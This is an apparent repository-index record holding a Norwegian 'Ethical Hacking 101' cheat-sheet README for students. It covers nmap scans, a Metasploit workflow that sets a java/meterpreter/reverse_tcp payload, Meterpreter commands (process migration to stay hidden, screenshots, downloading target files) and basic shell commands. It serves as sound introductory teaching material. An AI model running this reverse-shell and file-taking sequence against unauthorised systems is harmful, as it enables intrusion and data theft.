{"id":27962812,"url":"https://github.com/flangvik/ethical-hacking-101-cheat-sheet","last_synced_at":"2026-01-22T05:33:16.677Z","repository":{"id":266552883,"uuid":"763206928","full_name":"Flangvik/Ethical-Hacking-101-Cheat-Sheet","owner":"Flangvik","description":"Cheat Sheet High School Student","archived":false,"fork":false,"pushed_at":"2024-02-25T20:29:03.000Z","size":4,"stargazers_count":8,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-10-25T11:48:54.522Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Flangvik.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-02-25T20:28:50.000Z","updated_at":"2025-06-05T15:48:47.000Z","dependencies_parsed_at":"2024-12-04T23:31:13.293Z","dependency_job_id":null,"html_url":"https://github.com/Flangvik/Ethical-Hacking-101-Cheat-Sheet","commit_stats":null,"previous_names":["flangvik/ethical-hacking-101-cheat-sheet"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Flangvik/Ethical-Hacking-101-Cheat-Sheet","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FEthical-Hacking-101-Cheat-Sheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FEthical-Hacking-101-Cheat-Sheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FEthical-Hacking-101-Cheat-Sheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FEthical-Hacking-101-Cheat-Sheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Flangvik","download_url":"https://codeload.github.com/Flangvik/Ethical-Hacking-101-Cheat-Sheet/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Flangvik%2FEthical-Hacking-101-Cheat-Sheet/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28656281,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-22T01:17:37.254Z","status":"online","status_checked_at":"2026-01-22T02:00:07.137Z","response_time":144,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-05-07T19:57:21.839Z","updated_at":"2026-01-22T05:33:16.663Z","avatar_url":"https://github.com/Flangvik.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# **Ethical Hacking 101 - Cheat Sheet**\n\n### Nmap (Network Mapper)\n\nNmap er et åpen kildekode nettverksskanner verktøy brukt til å oppdage enheter og tjenester på et datanettverk, og gir sikkerhetsteam muligheten til å identifisere ulike sikkerhetssvakheter i nettverkskonfigurasjonen.\n\n- `nmap -sS \u003ctarget ip\u003e`: Utfører en TCP SYN scan (også kjent som en \"stealth scan\") på målet, som prøver å finne åpne porter uten å fullføre TCP håndtrykket.\n- `nmap -p 1-65535 \u003ctarget ip\u003e`: Skanner alle mulige porter (1 til 65535) på målets IP-adresse for å finne åpne tjenester.\n- `nmap -sV \u003ctarget ip\u003e`: Oppdager hvilke versjoner av tjenester som kjører på åpne porter ved å sende spesifikke forespørsler og analysere svarene.\n- `nmap -O \u003ctarget ip\u003e`: Prøver å bestemme operativsystemet som kjører på målet basert på karakteristikker i nettverkspakkene det svarer med.\n- `nmap -sV -O -p 1-65535 \u003ctarget ip\u003e`: Kombinerer funksjonene ovenfor for en grundig skanning som identifiserer åpne porter, tjenestenes versjoner, og operativsystemet.\n\n### Msfconsole (Metasploit Framework)\n\nMetasploit Framework er en åpen kildekode plattform for å utvikle, teste og utføre exploits mot et mål. Det er et essensielt verktøy for sikkerhetstestere for å identifisere og utnytte sårbarheter. MERK kommandoene under må utføres i rekkefølgen de er gitt!\n\n- `msfconsole`: Starter Metasploit Command Line Interface (CLI), som er hovedgrensesnittet for å interagere med Metasploit.\n- `search \u003cexploit\u003e`: Brukes til å søke gjennom Metasploits database for spesifikke exploits basert på nøkkelord.\n- `use \u003cexploit\u003e`: Velger en spesifikk exploit du ønsker å bruke fra søket.\n- `set PAYLOAD \u003cpayload_name\u003e`: Definerer hvilken payload du ønsker å sende til målet etter at exploit er vellykket. Payloads kan gi deg en shell eller annen kontroll over målsystemet. Det lønner seg og velge payloden `java/meterpreter/reverse_tcp`\n- `set RHOSTS \u003ctarget\u003e`: Angir målets IP-adresse eller vertsnavn.\n- `set LHOST \u003clocal\u003e`: Setter din lokale IP-adresse, som er adressen tilbakekoblinger fra målet vil bli sendt til.\n- `exploit`: Utfører den valgte exploit mot målet med den konfigurerte payloaden.\n- `sessions`: Viser en liste over alle aktive sesjoner. Dette inkluderer Meterpreter-sesjoner og shell-sesjoner som du har oppnådd gjennom ulike exploits. Kommandoen lar deg se detaljer om hver sesjon, som sesjonsnummer, type, informasjon om målet, og mer.\n- For å bytte til en bestemt sesjon, bruk `sessions -i \u003csession number\u003e`, hvor `\u003csession number\u003e` er nummeret på sesjonen du ønsker å bytte til.\n- `session -u \u003csession number\u003e`: Oppgraderer en gitt shell-sesjon til en Meterpreter-sesjon. Dette er spesielt nyttig hvis du først har oppnådd en enkel kommandolinje-shell på et mål, og ønsker å utnytte de mer avanserte funksjonene som tilbys av Meterpreter. Denne kommandoen forsøker å injisere en Meterpreter-payload i den eksisterende sesjonen for å oppgradere den.\n\n### Meterpreter\n\nMeterpreter er en avansert payload under Metasploit som gir en interaktiv kommandolinje (shell) på målsystemet, og tilbyr omfattende kontroll over målet.\n\n- `getuid`: Viser identiteten til brukeren som Meterpreter-sesjonen kjører under på målsystemet.\n- `sysinfo`: Gir detaljert informasjon om målsystemet, som operativsystem og maskinvare.\n- `migrate \u003cPID\u003e`: Lar deg migrere Meterpreter-prosessen til en annen kjørende prosess på målsystemet, identifisert ved dens prosess-ID (PID), noe som kan hjelpe med å opprettholde tilgangen skjult.\n- `screenshot`: Tar et skjermbilde av målets skjerm, noe som er nyttig for å samle bevis eller forstå brukerens aktiviteter.\n- `ps`: Viser en liste over kjørende prosesser på målsystemet, noe som er kritisk for å velge en prosess for migrering eller forstå systemets bruk.\n- `download \u003cfile/path\u003e`: Lar deg laste ned filer eller hele kataloger fra målsystemet til din lokale maskin for videre analyse.\n- `background` eller `bg`: Denne kommandoen brukes for å sende den aktive Meterpreter-sesjonen til bakgrunnen. Dette er nyttig når du ønsker å fortsette å arbeide i msfconsole uten å avslutte den aktive sesjonen.\n\n### Linux Terminal Kommandoer\n\nLinux-terminalen er et kraftig verktøy for å navigere og administrere Linux-systemer gjennom kommandolinjen.\n\n- `pwd`: Står for \"Print Working Directory\" og viser den fullstendige banen til gjeldende katalog du befinner deg i.\n- `ls`: Lister opp alle filer og mapper i den gjeldende katalogen. Bruk `ls -la` for å vise detaljert informasjon inkludert skjulte filer.\n- `uname -a`: Viser all tilgjengelig systeminformasjon, inkludert kernel name, versjon, og maskinarkitektur.\n- `whoami`: Viser brukernavnet til den gjeldende brukeren logget inn i terminalen.\n- `cd \u003cdirectory\u003e`: Endrer den gjeldende katalogen til en spesifisert katalog. `cd ..` brukes for å gå tilbake til overordnet katalog.\n- `mkdir \u003cdirectory\u003e`: Oppretter en ny katalog med det angitte navnet.\n- `rmdir \u003cdirectory\u003e`: Sletter en tom katalog.\n- `touch \u003cfile\u003e`: Oppretter en ny tom fil eller oppdaterer tidsstempelet på en eksisterende fil uten å endre innholdet.\n- `rm \u003cfile\u003e`: Sletter en fil. Bruk `rm -r \u003cdirectory\u003e` for å rekursivt slette en katalog og alt dens innhold.\n- `cat \u003cfile\u003e`: Viser innholdet av en fil i terminalvinduet.\n\n### Windows Terminal Kommandolinje (CMD)\n\nWindows CMD tilbyr kommandolinje tilgang for å utføre ulike operasjoner og administrere Windows-operativsystemet.\n\n- `cd`: Endrer den gjeldende katalogen. `cd /` tar deg til roten av stasjonen / disken.\n- `dir`: Viser en liste over filer og mapper i den gjeldende katalogen.\n- `ipconfig`: Viser nettverkskonfigurasjonen, inkludert IP-adresser for alle nettverkskort. `ipconfig /all` gir detaljert informasjon om hver adapter.\n- `ping \u003caddress\u003e`: Tester nettverksforbindelsen til en spesifikk IP-adresse eller vertsnavn.\n- `net user`: Viser eller endrer brukerkontoer på systemet.\n- `systeminfo`: Gir detalj\n- `del \u003cfile\u003e`: Sletter en fil. Bruk `rmdir /s \u003cdirectory\u003e` for å slette en katalog og dens innhold.\n- `copy \u003csource\u003e \u003cdestination\u003e`: Kopierer filer fra en plassering til en annen.\n- `move \u003csource\u003e \u003cdestination\u003e`: Flytter filer fra en plassering til en annen.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fflangvik%2Fethical-hacking-101-cheat-sheet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fflangvik%2Fethical-hacking-101-cheat-sheet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fflangvik%2Fethical-hacking-101-cheat-sheet/lists"}